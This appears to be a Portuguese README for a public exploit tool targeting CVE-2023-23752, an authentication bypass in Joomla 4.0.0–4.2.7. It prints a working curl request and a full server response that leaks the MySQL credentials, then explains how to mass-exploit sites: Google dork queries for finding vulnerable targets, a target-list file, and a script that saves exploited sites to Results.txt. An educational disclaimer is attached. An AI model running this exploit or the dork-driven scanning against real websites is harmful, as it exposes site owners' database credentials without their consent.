
Exploit para CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Exploit para CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Conforme discutido, o CVE-2023-23752 é uma bypass de autenticação que resulta em vazamento de informações. A maioria dos exploits públicos usa a bypass para vazar a configuração do sistema, que contém as credenciais do banco de dados MySQL do Joomla! em texto puro. A seguir demonstra o vazamento:
$ curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}
Na prova de conceito acima, o servidor responde com as credenciais root:labpass1, que são as credenciais da nossa conta MySQL de teste do Joomla!. Mas é importante saber que nosso servidor MySQL de teste estava vinculado a 127.0.0.1, então o atacante remoto não pode acessar o servidor, tornando as credenciais praticamente inúteis. Vincular o MySQL ao localhost deve ser a configuração mais comum, o que limita severamente esse vazamento de credenciais.
Este Exploit e Prova de Conceito (PoC) é apresentado exclusivamente para fins educacionais e informativos. A intenção por trás do compartilhamento é demonstrar potenciais vulnerabilidades em um ambiente controlado. O objetivo é promover a compreensão de conceitos de segurança cibernética e incentivar a divulgação responsável.
Ao acessar e usar este Exploit e PoC, você reconhece que é o único responsável por suas ações e concorda em usar estas informações em conformidade com as leis e regulamentos aplicáveis. O autor não assume nenhuma responsabilidade por qualquer uso indevido ou consequências decorrentes do uso deste PoC para qualquer propósito que não seja educação e divulgação responsável.
requests, colorama , urllib3 , fake_useragent , aio-httpClone o repositório:
git clone https://github.com/Pushkarup/CVE-2023-23752.git
cd CVE-2023-23752
Instale os pacotes Python necessários:
pip install -r requirements.txt
Crie um arquivo de texto contendo os sites alvo (um por linha) e salve-o com extensão .txt.
inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" /api/index.php/v1/config/application?public=true , filetype:php inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" AND intext:"config" AND intext:"application" AND intext:"public=true"Execute o script:
python joomla.py
Deixe o script executar e siga as instruções.
Cada site que foi explorado será armazenado em Results.txt.
Contribuições são bem-vindas! Se você encontrar algum problema ou tiver melhorias, sinta-se à vontade para abrir um pull request ou criar uma issue.
Este projeto está licenciado sob a Licença MIT.